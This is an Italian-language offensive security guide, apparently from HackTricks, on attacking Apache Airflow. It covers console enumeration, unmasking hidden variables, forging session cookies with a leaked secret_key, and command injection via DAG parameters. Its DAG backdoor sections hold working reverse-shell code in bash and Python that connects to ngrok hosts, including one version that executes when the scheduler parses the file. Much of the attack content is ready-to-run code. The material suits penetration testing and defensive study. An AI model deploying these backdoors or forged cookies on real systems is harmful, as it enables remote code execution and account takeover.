# Sicurezza di Apache Airflow

{{#include ../../banners/hacktricks-training.md}}

### Informazioni di Base

[**Apache Airflow**](https://airflow.apache.org) funge da piattaforma per **l'orchestrazione e la pianificazione di pipeline di dati o flussi di lavoro**. Il termine "orchestrazione" nel contesto delle pipeline di dati indica il processo di organizzazione, coordinamento e gestione di flussi di lavoro complessi di dati provenienti da varie fonti. Lo scopo principale di queste pipeline di dati orchestrate è fornire set di dati elaborati e utilizzabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui, ma non solo, strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni di big data.

Fondamentalmente, Apache Airflow ti permetterà di **pianificare l'esecuzione di codice quando qualcosa** (evento, cron) **accade**.

### Laboratorio Locale

#### Docker-Compose

Puoi utilizzare il **file di configurazione docker-compose da** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) per avviare un ambiente docker completo di apache airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM docker).

#### Minikube

Un modo semplice per **eseguire apache airflow** è farlo **con minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release
```
### Configurazione di Airflow

Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione o potresti trovare configurazioni deboli in atto:

{{#ref}}
airflow-configuration.md
{{#endref}}

### Airflow RBAC

Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**:

{{#ref}}
airflow-rbac.md
{{#endref}}

### Attacchi

#### Enumerazione della Console Web

Se hai **accesso alla console web**, potresti essere in grado di accedere ad alcune o a tutte le seguenti informazioni:

- **Variabili** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
- **Connessioni** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
- Accedile in `http://<airflow>/connection/list/`
- [**Configurazione**](./#airflow-configuration) (Informazioni sensibili come il **`secret_key`** e le password potrebbero essere memorizzate qui)
- Elenca **utenti e ruoli**
- **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti)

#### Recupero dei Valori delle Variabili

Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nell'interfaccia grafica in `http://<airflow>/variable/list/`.\
Airflow per impostazione predefinita mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nell'**interfaccia grafica**.

![](<../../images/image (164).png>)

Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), **esecuzione di DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche l'interfaccia grafica stessa!**\
Per accedere a quei valori dall'interfaccia grafica, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo:

![](<../../images/image (152).png>)

#### Escalation dei Privilegi

Se la configurazione **`expose_config`** è impostata su **True**, dal **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE in Airflow worker)

Se hai **accesso in scrittura** al luogo dove i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
```

```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE nel scheduler di Airflow)

Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione nella cartella del DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Creazione di DAG

Se riesci a **compromettere una macchina all'interno del cluster DAG**, puoi creare nuovi **script DAG** nella cartella `dags/` e verranno **replicati nel resto delle macchine** all'interno del cluster DAG.

#### Iniezione di Codice DAG

Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\
Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\
Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)

Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che i **parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.

Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Se vengono utilizzati, ad esempio, all'interno di un comando bash, è possibile eseguire un'iniezione di comandi.

{{#include ../../banners/hacktricks-training.md}}
